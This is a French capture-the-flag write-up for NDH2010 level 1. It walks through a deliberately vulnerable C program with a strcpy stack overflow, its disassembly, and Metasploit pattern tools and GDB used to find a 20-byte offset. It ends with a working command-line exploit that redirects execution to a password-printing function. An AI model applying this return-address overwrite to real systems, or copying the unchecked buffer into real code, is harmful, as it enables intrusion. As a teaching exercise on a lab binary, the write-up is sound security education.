Simple buffer overflow offset calculation : NDH2010 Level 1
Bonjour!
Sorry for English speakers, I will write only in French on this blog now unless you ask for English ;). Aujourd’hui, je vais vous présenter brièvement une technique pour rapidement choper les offsets lors de l’exploitation de buffer overflows
Bon déjà je préviens pour ceux qui seraient tentés de prendre ça au premier degré :
- Non on a pas besoin de GDB mais je voulais faire les choses comme il fallait
- C’est juste pour illustrer une méthode de calcul d’offset rien d’autre</blockquote>
Les pré-requis
- Des connaissances minimales en stack frame.
- Des connaissances en assembleur (je n’expliquerais pas le code ASM, ce n’est pas le but)
- Metasploit
Let's go!
Il manque juste le programme vulnérable qu’on va casser :]. C’est le premier challenge du SSH public NDH 2010.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void dummy()
{
setresuid(geteuid(),geteuid(),geteuid());
system("sleep 1; cat /home/level2/passwd;");
exit(0);
}
int *p;
void func(char *arg)
{
char buf[16];
p = (int *)&buf[sizeof(buf)];
printf("dummy() is at: 0x%08x\n", dummy);
printf("before: SEBP=%p\n\t SEIP=0x%08x\n", *p, *(p+1));
strcpy(buf, arg);
printf("after: SEBP=%p\n\t SEIP=0x%08x\n", *p, *(p+1));
}
int main(int argc, char *argv[])
{
if(!argv[1]) {
printf("No command found...\n");
return;
}
func(argv[1]);
}
Le code ASM correspondant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Dump of assembler code for function dummy:
0x08048504 <+0>: push %ebp
0x08048505 <+1>: mov %esp,%ebp
0x08048507 <+3>: push %esi
0x08048508 <+4>: push %ebx
0x08048509 <+5>: sub $0xc,%esp
0x0804850c <+8>: call 0x8048438 <geteuid@plt>
0x08048511 <+13>: mov %eax,%esi
0x08048513 <+15>: call 0x8048438 <geteuid@plt>
0x08048518 <+20>: mov %eax,%ebx
0x0804851a <+22>: call 0x8048438 <geteuid@plt>
0x0804851f <+27>: mov %esi,0x8(%esp)
0x08048523 <+31>: mov %ebx,0x4(%esp)
0x08048527 <+35>: mov %eax,(%esp)
0x0804852a <+38>: call 0x80483e8 <setresuid@plt>
0x0804852f <+43>: movl $0x80486c0,(%esp)
0x08048536 <+50>: call 0x80483c8 <system@plt>
0x0804853b <+55>: movl $0x0,(%esp)
0x08048542 <+62>: call 0x8048428 <exit@plt>
End of assembler dump.
Dump of assembler code for function func:
0x08048547 <+0>: push %ebp
0x08048548 <+1>: mov %esp,%ebp
0x0804854a <+3>: sub $0x1c,%esp
0x0804854d <+6>: lea -0x10(%ebp),%eax ; notre buffer est donc en %ebp-10
0x08048550 <+9>: add $0x10,%eax
0x08048553 <+12>: mov %eax,0x8049884 ; pointeur p
0x08048558 <+17>: mov $0x80486e2,%eax
0x0804855d <+22>: movl $0x8048504,0x4(%esp)
0x08048565 <+30>: mov %eax,(%esp)
0x08048568 <+33>: call 0x8048408 <printf@plt>
0x0804856d <+38>: mov 0x8049884,%eax
0x08048572 <+43>: add $0x4,%eax
0x08048575 <+46>: mov (%eax),%ecx
0x08048577 <+48>: mov 0x8049884,%eax
0x0804857c <+53>: mov (%eax),%edx
0x0804857e <+55>: mov $0x80486fc,%eax
0x08048583 <+60>: mov %ecx,0x8(%esp)
0x08048587 <+64>: mov %edx,0x4(%esp)
0x0804858b <+68>: mov %eax,(%esp)
0x0804858e <+71>: call 0x8048408 <printf@plt>
0x08048593 <+76>: mov 0x8(%ebp),%eax
0x08048596 <+79>: mov %eax,0x4(%esp)
0x0804859a <+83>: lea -0x10(%ebp),%eax
0x0804859d <+86>: mov %eax,(%esp)
0x080485a0 <+89>: call 0x80483f8 <strcpy@plt>
0x080485a5 <+94>: mov 0x8049884,%eax
0x080485aa <+99>: add $0x4,%eax
0x080485ad <+102>: mov (%eax),%ecx
0x080485af <+104>: mov 0x8049884,%eax
0x080485b4 <+109>: mov (%eax),%edx
0x080485b6 <+111>: mov $0x8048720,%eax
0x080485bb <+116>: mov %ecx,0x8(%esp)
0x080485bf <+120>: mov %edx,0x4(%esp)
0x080485c3 <+124>: mov %eax,(%esp)
0x080485c6 <+127>: call 0x8048408 <printf@plt>
0x080485cb <+132>: leave
0x080485cc <+133>: ret
End of assembler dump.
Dump of assembler code for function main:
0x080485cd <+0>: push %ebp
0x080485ce <+1>: mov %esp,%ebp
0x080485d0 <+3>: sub $0x4,%esp
0x080485d3 <+6>: mov 0xc(%ebp),%eax
0x080485d6 <+9>: add $0x4,%eax
0x080485d9 <+12>: mov (%eax),%eax
0x080485db <+14>: test %eax,%eax
0x080485dd <+16>: jne 0x80485ed <main+32>
0x080485df <+18>: movl $0x8048742,(%esp)
0x080485e6 <+25>: call 0x8048418 <puts@plt>
0x080485eb <+30>: jmp 0x80485fd <main+48>
0x080485ed <+32>: mov 0xc(%ebp),%eax
0x080485f0 <+35>: add $0x4,%eax
0x080485f3 <+38>: mov (%eax),%eax
0x080485f5 <+40>: mov %eax,(%esp)
0x080485f8 <+43>: call 0x8048547 <func>
0x080485fd <+48>: leave
0x080485fe <+49>: ret
End of assembler dump.
La fonction qui va bien évidemment nous intéresser est func(). Celle-ci contient en effet le buffer overflow avec strcpy(). Celà va nous permettre de retourner dans dummy.
Bon déjà on sait que notre buffer est situé en %ebp-10. Nous pouvons dès lors reconstruire notre stack frame (on utilise la convention cdecl ici) : EBP [arg : 4 octets] [ret : 4 octets] [sfp : 4 octets] [buffer : 16 octets]
Ok good donc théoriquement on a 20 octets avant de taper l’EIP comme il faut :).
On va vérifier ça avec notre pattern métasploit.
On va d’abord le créer.
1
2
sh $ msf/tools/pattern_create.rb 24
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
On teste ça sous GDB.
1
2
3
4
5
6
7
8
9
10
11
level1@srv-public:~$ gdb ./level1
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
Starting program: /home/level1/level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
dummy() is at: 0x08048504
before: SEBP=0xbffff7e8
SEIP=0x080485fd
after: SEBP=0x61413561
SEIP=0x37614136
Program received signal SIGSEGV, Segmentation fault.
0x37614136 in ?? ()
Hop on cherche l’offset avec metasploit toujours.
1
2
sh $ msf/tools/pattern_offset 6Aa7
20
Pawning :).
1
2
3
4
5
6
7
./level1 `python -c 'print "JUNK" * 5 + "\x04\x85\x04\x08"'`
dummy() is at: 0x08048504
before: SEBP=0xbffff828
SEIP=0x080485fd
after: SEBP=0x4b4e554a
SEIP=0x08048504
[password]
Et voilà comment en 5 minutes on peut pawn un soft simple ;).
Have phun.
m_101
Ressources
- Une autre solution : Level 1 Wargame NDH - Tuto shellcode
- Le wargame NDH : Wargame NDH2010
- metasploit : Metasploit